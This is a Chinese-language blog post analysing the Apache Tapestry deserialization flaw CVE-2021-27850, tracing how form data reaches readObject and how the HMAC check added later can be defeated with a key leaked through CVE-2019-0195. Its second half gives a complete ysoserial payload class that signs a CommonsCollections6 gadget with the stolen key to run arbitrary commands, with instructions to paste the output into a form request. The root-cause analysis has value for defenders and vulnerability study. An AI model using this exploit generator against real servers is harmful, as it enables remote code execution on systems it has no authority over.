tapestry反序列化 CVE-2021-27850分析

漏洞最早可以追溯到<5.3.6版本的tapestry

触发点在FROM类,该类专门用于处理表单

tapestry-core/src/main/java/org/apache/tapestry5/corelib/components/Form.java

首先有两个注意的地方

第一个地方:

表单在点击按钮后会出现一个值为t:submit的name属性,待会会有针对这个的判断

image

image

第二个地方:

image

将断点打在onAction方法查看事件处理流程

走到if (this.isFormCancelled()) ,根据返回的布尔类型来进入相应的处理

image

image

走到this.executeStoredActions();在该方法中会获取t:fromdata的值来进行处理

image

跟进decodeClientData

tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java

image

最后进行反序列化,漏洞触发

image

官方在5.3.6及以后(5.4.0-5.6.1,5.7.0)的版本中并没有针对readObject进行修复,而是增加了HMAC,用途是对序列化的数据进行加密,Tapestry的所有序列化数据传输都需要使用HMAC Key进行加密,具体见

https://tapestry.apache.org/security.html

image

官方原本想的是通过校验签名来防止数据被篡改,然而即使使用HmacSHA1算法加密也不能保证反序列化不被利用,这时候就要说到Tapestry 的另一个漏洞:Tapestry 任意文件下载(CVE-2019-0195),详见https://www.modb.pro/db/113860,可以通过搭配文件下载下载包含有硬编码密钥的class来利用反序列化漏洞,原理类似于shiro的rememberMe反序列化

继续看看加了加密机制后的tapestry,这里用的是5.4.0

直接看到decodeClientData方法

decodeClientData方法中处理t:formdata的值

image

取得clientStream后进行base64解码

image

在经过validateHMAC方法校验签名无误后,把base64解码后的clientStream再进行一次gzip解码,随后将解码后的clientStream封装成对象输入流

image

再进行反序列化操作,漏洞产生

image

可以看到在decodeClientData方法中加了对t:fromdata内容的处理,且加了一个ois.readBoolean()

validateHMAC方法中,this.hmackey即包含有HmacSHA1加密算法的SecretKeySpaec对象

tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java

image

passphrase来自@Symbol

image

HMAC_PASSPHRASE即加密密钥

image

总结其编码模式:

Text
1
2
3
4
5
总结其编码模式:

<5.3.6版本:Gzip->base64

=>5.3.6版本:Gzip->Hmacsha1->base64

根据网上的文章改造一下能用的 ,在ysoserial中引用一下5.3.6版本的Tapestry依赖,在payload目录中新建一个TapestryrcePOC 类,使用CommonsCollections6来触发漏洞

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package ysoserial.payloads;

/**
* @Author:novy
* @Date:10:40 2022/4/23
* @Version 1.0
* 参数输入格式:密钥 命令
**/
import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;
import org.apache.tapestry5.internal.services.URLEncoderImpl;
import org.apache.tapestry5.services.ClientDataEncoder;
import org.apache.tapestry5.services.ClientDataSink;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.templates.TomcatFilterMemShellFromJMX;
import ysoserial.payloads.util.PayloadRunner;

import java.io.ObjectOutputStream;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org:tapestry:5.4.0 to 5.6.1 cc6,please add hmac key and command,eg:12345 calc"})
public class TapestryrcePOC extends PayloadRunner implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception {
String s = (String) new TapestryrcePOC().getObject(CommonsCollections6.class.getName(), args); //这里根据情况改利用链
System.out.println("payload:"+s);
}
public String getObject(String gadgetsName, boolean needBase64, String... args) throws Exception {
String key, command = null;
if (args.length == 0) {
System.out.println("please add hmac key and command,eg:12345 calc");
}
if (args.length < 1) {
System.out.println("please add hmac key");
}
if (args.length < 2) {
System.out.println("please add command");
}else{
command = args[1];
}
//密钥
key = args[0];
Class clazz = Class.forName(gadgetsName);
ObjectPayload gadgets = (ObjectPayload) clazz.newInstance();
Object obj = gadgets.getObject(command);
URLEncoderImpl urlEncoder = new URLEncoderImpl();
ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, key, null, null, null);
ClientDataSink cds = cde.createSink();
ObjectOutputStream oos = cds.getObjectOutputStream();
oos.writeUTF("wecat_iH");
oos.writeBoolean(false);
oos.writeObject(obj);
return cds.getClientData();
}
@Override
public Object getObject(String command) throws Exception {
return getObject(command, null);
}
public Object getObject(String gadgetName, String... args) throws Exception {
return getObject(gadgetName, true, args);
}
}

生成payload后,可以直接将payload复制到表单请求

image

image

参考

https://www.imangodoc.com/23732.html

https://blog.csdn.net/wyswlp/article/details/6704545

https://blog.csdn.net/u012749355/article/details/38440613?locationNum=5&fps=1

https://tapestry.apache.org/security.html

https://www.modb.pro/db/113860

https://www.4hou.com/posts/ovEk


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.